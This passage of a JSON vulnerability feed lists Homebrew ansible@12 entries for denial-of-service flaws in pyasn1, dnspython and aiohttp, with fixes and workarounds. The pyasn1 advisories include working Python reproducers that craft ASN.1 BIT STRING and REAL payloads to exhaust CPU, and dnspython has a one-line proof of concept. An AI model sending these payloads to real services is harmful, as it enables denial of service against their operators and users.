references\n\nReported by [alimony](https://github.com/alimony). Independently reported by [manus-pi](https://github.com/manus-pi), whose report identified the schema-driven DER route, inherited character-string decoders, and additional performance evidence.\n\n- [pyasn1 v0.6.4 affected decoder source](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py)\n- [ITU-T X.690, CER and DER string-encoding rules](https://www.itu.int/rec/T-REC-X.690-202102-I/en)\n- [CVE-2026-59885, separate OID decoder issue](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-9m75-vc3g-4x39"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119195"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/4ce00797c594b59c1fd6b86d9ebc3ba87b7ec9f9"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-119196","published":"2026-10-31T08:33:13Z","modified":"2026-10-31T08:33:13Z","upstream":["GHSA-2qm8-x737-gmw5","CVE-2026-119196"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic CPU consumption in constructed BIT STRING decoding","details":"## Summary\n\nIn pyasn1 through 0.6.4, decoding a constructed BIT STRING with many fragments repeatedly shifts and copies the entire value accumulated so far. For fixed-size fragments, CPU time grows quadratically with the encoded input size. An application that passes sufficiently large, attacker-controlled ASN.1 data to an affected decoder can suffer CPU exhaustion during `decode()`; no conversion or formatting of the decoded value is required.\n\nThe BER and CER decoders reach this path for constructed BIT STRING values, with or without an `asn1Spec`. The DER decoder rejects constructed BIT STRING in schema-less decoding, but its schema-driven path accepts a **definite-length** constructed BIT STRING when given a matching `asn1Spec` and reaches the same vulnerable code. Constructed BIT STRING is not valid DER; this DER exposure is due to decoder permissiveness. DER rejects the indefinite-length form.\n\nThis is a separate decoder path from the OBJECT IDENTIFIER accumulation fixed in [CVE-2026-59885](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj).\n\n## Technical details\n\nIn the 0.6.4 [`BitStringPayloadDecoder`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L173-L301), both the [definite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L237-L255) and [indefinite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L275-L301) fragment loops call `BitString.fromOctetString(..., prepend=bitString)` for every fragment. [`fromOctetString`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/type/univ.py#L614-L627) shifts the growing `SizedInteger` left by the fragment's bit length and ORs in the fragment. Shifting an ever-larger Python integer for each fixed-size fragment makes total work O(n²) for n fragments. The fragments are siblings, so the decoder's nesting-depth limit does not constrain their count; its limit on the number of length octets does not prevent the demonstrated inputs.\n\nIn 0.6.4, DER's [tag-driven map](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L15-L40) disables constructed BIT STRING, while its schema-driven type map retains the inherited decoder that permits it. This explains why a schema-less DER rejection is not a negative result for all DER decoding.\n\nUnder [X.690](https://www.itu.int/rec/T-REC-X.690-202102-I/en), a conforming CER constructed BIT STRING uses an indefinite-length outer encoding and primitive fragments with 1000 contents octets except possibly the last. That form reaches the affected indefinite-length loop. DER requires primitive string encoding, although the schema-driven pyasn1 decoder accepts the definite-length constructed example below.\n\n## Impact\n\nAn application is exposed when untrusted input can reach one of the affected decoder paths and its input limits admit enough fragments. The work occupies the decoding thread or worker and may cause denial of service. Whether the input is network-accessible or unauthenticated depends on the calling application. This advisory makes no claim that every application using pyasn1, or any particular protocol implementation, accepts such input.\n\n## Severity assessment (CVSS v3.1)\n\nThe 7.5 Base score assumes a reasonable application that automatically decodes attacker-supplied ASN.1 from unauthenticated network input. Valid BER and conforming CER values trigger the issue without special conditions, privileges, or user interaction. Repeated crafted values could occupy a finite decoder-worker pool and deny service while the attack continues. No confidentiality or integrity impact is demonstrated. This library-level score does not claim that every application is network-exposed or fully unavailable; deployment-specific input limits and architecture may change the score. See [FIRST's library-scoring guidance](https://www.first.org/cvss/v3-1/user-guide).\n\n## Reproducer\n\nThe definite-length example below is valid BER. It is deliberately not a conforming CER or DER encoding. The second constructor uses conforming CER fragment sizing and framing. CPU times are machine-dependent; run the larger cases only in a local test environment.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber_decoder\nfrom pyasn1.codec.cer import decoder as cer_decoder\nfrom pyasn1.codec.der import decoder as der_decoder\nfrom pyasn1.error import PyAsn1Error\nfrom pyasn1.type import univ\n\n\ndef encode_length(size):\n    octets = size.to_bytes((size.bit_length() + 7) // 8, \"big\")\n    return bytes((0x80 | len(octets),)) + octets\n\n\ndef definite_fragments(count):\n    body = b\"\\x03\\x02\\x00\\xa5\" * count  # one data octet per BIT STRING fragment\n    return b\"\\x23\" + encode_length(len(body)) + body\n\n\ndef cer_fragments(count):\n    # Each primitive fragment has 1000 contents octets: one unused-bits\n    # octet (zero) followed by 999 data octets.\n    fragment = b\"\\x03\" + encode_length(1000) + b\"\\x00\" + b\"\\xa5\" * 999\n    return b\"\\x23\\x80\" + fragment * count + b\"\\x00\\x00\"\n\n\ndef measure(label, decode, payload, **options):\n    start = time.process_time()\n    value, remainder = decode(payload, **options)\n    print(label, len(payload), f\"{time.process_time() - start:.3f}s CPU\")\n    assert not remainder and len(value) > 0\n\n\nfor count in (50_000, 100_000, 200_000):\n    measure(f\"BER {count} fragments\", ber_decoder.decode,\n            definite_fragments(count))\n\nfor count in (1_000, 2_000, 4_000):\n    measure(f\"CER {count} fragments\", cer_decoder.decode,\n            cer_fragments(count))\n\nsample = definite_fragments(1_000)\nmeasure(\"DER with BIT STRING schema\", der_decoder.decode, sample,\n        asn1Spec=univ.BitString())\ntry:\n    der_decoder.decode(sample)\nexcept PyAsn1Error:\n    print(\"DER without schema rejects the constructed value\")\nelse:\n    raise AssertionError(\"DER unexpectedly accepted schema-less input\")\n```\n\n## Verification\n\nLocal measurements of the official v0.6.4 tag on CPython 3.14.8 used `time.process_time()`. A local 0.6.5 candidate containing the fix was timed on the same machine. Times are illustrative, not a guaranteed cost on other systems.\n\n| Input | Size | v0.6.4 CPU | 0.6.5 candidate CPU |\n| --- | ---: | ---: | ---: |\n| BER definite, 50,000 fragments | 0.20 MB | 0.530 s | 0.084 s |\n| BER definite, 100,000 fragments | 0.40 MB | 1.915 s | 0.170 s |\n| BER definite, 200,000 fragments | 0.80 MB | 7.392 s | 0.344 s |\n| Conforming CER, 1,000 fragments | 1.004 MB | 0.163 s | 0.0035 s |\n| Conforming CER, 2,000 fragments | 2.008 MB | 0.657 s | 0.0070 s |\n| Conforming CER, 4,000 fragments | 4.016 MB | 2.582 s | 0.0144 s |\n\nThe definite BER input with 100,000 fragments also decoded through DER with `asn1Spec=univ.BitString()` in 1.949 s on v0.6.4, versus 0.172 s with the 0.6.5 candidate. Schema-less DER rejected the same input. Independent reports reproduced the old behavior on v0.6.4: one measured 21.1 s for a 1.28 MB definite-length value; another measured 7.25 s for a 0.8 MB value versus 2.8 ms for a primitive BIT STRING carrying the same data volume. These measurements were taken on different systems and should not be compared as a single benchmark series.\n\n## Resolution\n\nUpgrade to pyasn1 0.6.5. The decoder assembles fragment bits in a `bytearray`, preserves decoded bit values including intermediate-fragment padding, and converts the complete payload to a BIT STRING once. This removes the repeated shift of the growing integer in both constructed decoding loops.\n\nFor applications that cannot upgrade immediately, enforce an application-appropriate limit on untrusted ASN.1 input size **before** passing it to pyasn1. Such a limit bounds exposure but does not change the quadratic behavior of 0.6.4. Where a protocol forbids constructed BIT STRING, rejecting that encoding before decoding also prevents this path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-2qm8-x737-gmw5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119196"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-119197","published":"2026-10-31T08:33:13Z","modified":"2026-10-31T08:33:13Z","upstream":["GHSA-mm57-4v3p-rchx","CVE-2026-119197"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic-complexity denial of service in binary REAL decoding","details":"## Summary\n\nIn pyasn1 0.6.4 and earlier, decoding a binary-encoded ASN.1 REAL with a large mantissa can consume CPU time quadratic in the mantissa length. The BER, CER, and DER decoders all use the affected `RealPayloadDecoder`. An application is exposed when it passes attacker-controlled ASN.1 containing a REAL value to one of these decoders, either without an `asn1Spec` or with a schema that includes REAL. The work occurs inside `decode()`; the application does not need to convert, print, or otherwise use the resulting REAL object.\n\nThis is distinct from [CVE-2026-59886](https://github.com/advisories/GHSA-hm4w-wwcw-mr6r), which concerns converting an already-decoded REAL to a Python float. That issue was fixed in 0.6.4 and its advisory states that decoding alone does not trigger it.\n\n## Root cause and affected components\n\nFor binary REAL values, [`RealPayloadDecoder.valueDecoder` in v0.6.4](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L535-L603) builds the mantissa one octet at a time:\n\n```python\np = 0\nwhile chunk:\n    p <<= 8\n    p |= chunk[0]\n    chunk = chunk[1:]\n```\n\nEach shift processes an integer that grows with the mantissa; with byte strings, each slice also copies the remaining suffix. Repeating both operations for every octet makes decoding quadratic in mantissa size. The decoder's [eight-octet length-field limit](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1704-L1717) does not impose a practical mantissa-size limit for the inputs demonstrated below. [CER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/cer/decoder.py#L51-L62) and [DER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L23-L31) reuse the BER REAL payload decoder, so all three paths reach this loop.\n\nThe vulnerable loop is present in every available repository release tag inspected, from v0.2.1 through v0.6.4. Runtime measurements below were made on v0.6.4; older releases were checked for the loop, not benchmarked individually.\n\n## Impact\n\nA comparatively small REAL value can hold a decoder worker on one CPU core for seconds or longer. The attacker must be able to supply data that the application sends to an affected decoder, and application-level input limits may reduce exposure. The demonstrated effect is CPU exhaustion during decoding; this advisory does not assert a network endpoint, unauthenticated access, or an affected downstream application by itself.\n\n## Reproduction and evidence\n\nThe following example uses pyasn1 0.6.4. The `0x09` tag identifies REAL; `0x80 0x00` selects a positive, base-2 binary value with a one-octet zero exponent, followed by a large mantissa. It exercises `decode()` only.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber\nfrom pyasn1.codec.cer import decoder as cer\nfrom pyasn1.codec.der import decoder as der\n\n\ndef real_value(mantissa_octets):\n    content = b\"\\x80\\x00\" + b\"\\xff\" * mantissa_octets\n    length = len(content).to_bytes(3, \"big\")\n    return b\"\\x09\\x83\" + length + content\n\n\nfor codec in (ber, cer, der):\n    for size in (50_000, 100_000, 200_000):\n        substrate = real_value(size)\n        started = time.process_time()\n        value, rest = codec.decode(substrate)\n        print(codec.__name__, size, time.process_time() - started)\n        assert not rest\n        assert tuple(value)[1:] == (2, 0)\n```\n\nThe original report measured the following BER CPU times on repository commit `aa05757`. That commit is later than the official v0.6.4 tag; the vulnerable loop is identical in the tagged release.\n\n| Mantissa size | Reporter's BER CPU time |\n| ---: | ---: |\n| 50,000 octets | 0.328 s |\n| 100,000 octets | 1.299 s |\n| 200,000 octets | 6.043 s |\n| 400,000 octets | 24.095 s |\n\nThe same report measured 5.645 s for a 200,000-octet mantissa through DER.\n\nA separate local reproduction on the official v0.6.4 tag (`d43496f`, CPython 3.14.8, macOS arm64) measured BER at 0.209 s, 0.884 s, and 3.451 s for 50,000, 100,000, and 200,000 mantissa octets respectively. CER and DER each took about 0.89 s at 100,000 octets. These are machine-specific measurements; the repeated near-fourfold cost for doubled input is the relevant result. Neither reproduction calls `float()`, `str()`, or `prettyPrint()`.\n\n## Fix\n\npyasn1 0.6.5 replaces the per-octet shift and slice loop with one `int.from_bytes(bytes(chunk), \"big\")` conversion. Sign, scale, exponent, and the decoded REAL tuple are preserved. The fix is in the shared BER payload decoder and therefore covers BER, CER, and DER. A local check of the 0.6.5 candidate decoded a 200,000-octet mantissa correctly through all three codecs; the check does not establish behavior for every application using REAL.\n\n## Workarounds\n\nUpgrade to pyasn1 0.6.5. Until then, reject or strictly limit attacker-controlled ASN.1 input that may contain REAL values before passing it to pyasn1. The appropriate size limit depends on the application's available CPU time and request volume.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-mm57-4v3p-rchx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119197"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/ce3ec3390784780a530047e0e77be5ff457636a4"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-128089","published":"2026-11-14T08:40:29Z","modified":"2026-11-14T08:40:29Z","upstream":["GHSA-vvf4-9x63-8xvv","CVE-2026-128089"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.9.2","resource":"dnspython","resource_purl":"pkg:pypi/dnspython@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"dnspython","subject_version":"2.8.0","key":"pkg:pypi/dnspython@2.8.0","resource":"dnspython"}]},"summary":"dnspython has excessive memory and CPU use","details":"### Summary\n\nA maliciously crafted zone file could use a WKS record to consume excessive memory and CPU, possibly causing the process to exit due to memory exhaustion.\n\n### Details\n\nThe `from_text()` parser does not check that a WKS record service number is between 0 and 65535 inclusive.  It then uses this number to resize the bitmap to accommodate a bit with that offset.  This can cause extremely large memory allocations, and also extends the array very inefficiently, wasting CPU.\n\n### Proof of concept\n\nThis demonstrates the failure to limit the service number, though with a value that does not cause excessive memory or CPU consumption.\n\n```\nrd = dns.rdata.from_text(\"IN\", \"WKS\", \"10.0.0.1 udp 65536\")\n```\n\n### Impact\n\nIf dnspython is used to read zonefile format where the attacker can control the type and rdata text, the program may consume excessive memory or CPU, denying service.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/rthalley/dnspython/security/advisories/GHSA-vvf4-9x63-8xvv"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/388db14ee9923288f6e73f86e482c77706e59d73"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/a62e1be066da0ed71b5b59f37435bb17cfa0070f"},{"type":"PACKAGE","url":"https://github.com/rthalley/dnspython"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/releases/tag/v2.9.2"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-128124","published":"2026-11-17T08:39:20Z","modified":"2026-11-17T08:39:20Z","upstream":["GHSA-jm3w-gw2p-xjfj","CVE-2026-128124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Event loop stall in add_domain() wildcard matching","details":"### Summary\n\n`Application.add_domain()` compiled each `*` in a host mask to `[^:]*`. With two or more wildcards in a mask, matching a long `Host` header that does not match the mask took polynomial time on the event loop.\n\n### Impact\n\nAn attacker could stall a server that registers a domain mask with more than one wildcard by sending requests with a long `Host` header.\n\n### Workaround\n\nUse at most one `*` in a domain mask.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jm3w-gw2p-xjfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128124"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13943"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13945"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/766b882820da0651c84090e366a3b024b4a263c9"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-128125","published":"2026-11-17T08:39:20Z","modified":"2026-11-17T08:39:20Z","upstream":["GHSA-5pv8-vvhc-h7jv","CVE-2026-128125"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Unbounded cookie storage in client CookieJar","details":"### Summary\n\n`Set-Cookie` parsing created additional cookies from unrecognised `name=value` attributes, and `CookieJar` had no limit on the number of cookies stored or sent. A server could make the client store a very large number of cookies and generate very large `Cookie` headers.\n\n### Impact\n\nA malicious server could cause excessive memory and CPU use in a client, repeated on every redirect, and cause later requests to the same domain to build an excessively large `Cookie` header.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5pv8-vvhc-h7jv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128125"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13930"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13942"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b1f6c87b2bd3bd80f2b6c22ff46e11d00921e412"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-128126","published":"2026-11-17T08:39:20Z","modified":"2026-11-17T08:39:20Z","upstream":["GHSA-xgw8-8ccx-rmqh","CVE-2026-128126"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Too many URL-encoded form fields block the event loop","details":"### Summary\n\n`Request.post()` had no limit on the number of fields in a URL-encoded form body. Inserting a large number of repeated keys into a `MultiDict` took quadratic time on the event loop.\n\n### Impact\n\nAn attacker could block the event loop with a form POST within the default `client_max_size` to any handler that calls `Request.post()`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xgw8-8ccx-rmqh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128126"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13738"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13741"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8b0100572936df28977b9de8a6cc7e464c0b521e"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-128127","published":"2026-11-17T08:39:20Z","modified":"2026-11-17T08:39:20Z","upstream":["GHSA-24c4-3p7v-29cm","CVE-2026-128127"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Base64 multipart parts bypass client_max_size","details":"### Summary\n\nWhen reading a multipart part with `Content-Transfer-Encoding: base64`, `BodyPartReader.read_chunk()` kept reading until the chunk length was a multiple of 4, with no byte limit. A part with a short `Content-Length`, or a long run of whitespace, could cause the entire remaining body to be read into memory within a single call before any size check, or spin on the event loop.\n\n### Impact\n\nAn attacker could bypass `client_max_size` to cause excessive memory use, or block the event loop, with a specially crafted multipart request to any handler that reads multipart data.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-24c4-3p7v-29cm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128127"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13509"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13513"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2d9c5c1062eff0034fb3ab120897a6c1b3ff7041"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-128128","published":"2026-11-17T08:39:20Z","modified":"2026-11-17T08:39:20Z","upstream":["GHSA-3rp8-rxj8-mvjw","CVE-2026-128128"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket max_msg_size bypass via integer overflow","details":"### Summary\n\nThe `max_msg_size` check in the WebSocket reader added the declared frame length to the size of the partial message already buffered. In the C extension this addition is 64-bit arithmetic, so a declared length close to 2**63 overflowed and the check passed.\n\n### Impact\n\nAn attacker could bypass `max_msg_size` and cause unbounded memory use by streaming an oversized WebSocket message after a small non-final fragment.\n\n### Workaround\n\nIf unable to upgrade, the Python reader is unaffected and can be used with `AIOHTTP_NO_EXTENSIONS=1`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-3rp8-rxj8-mvjw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128128"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13415"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13494"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8c8906a19f64e52ef6a7d44d65217eb3c5af413f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-128129","published":"2026-11-17T08:39:20Z","modified":"2026-11-17T08:39:20Z","upstream":["GHSA-pw86-h8fm-j323","CVE-2026-128129"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Unbounded buffering of data received during an upgrade 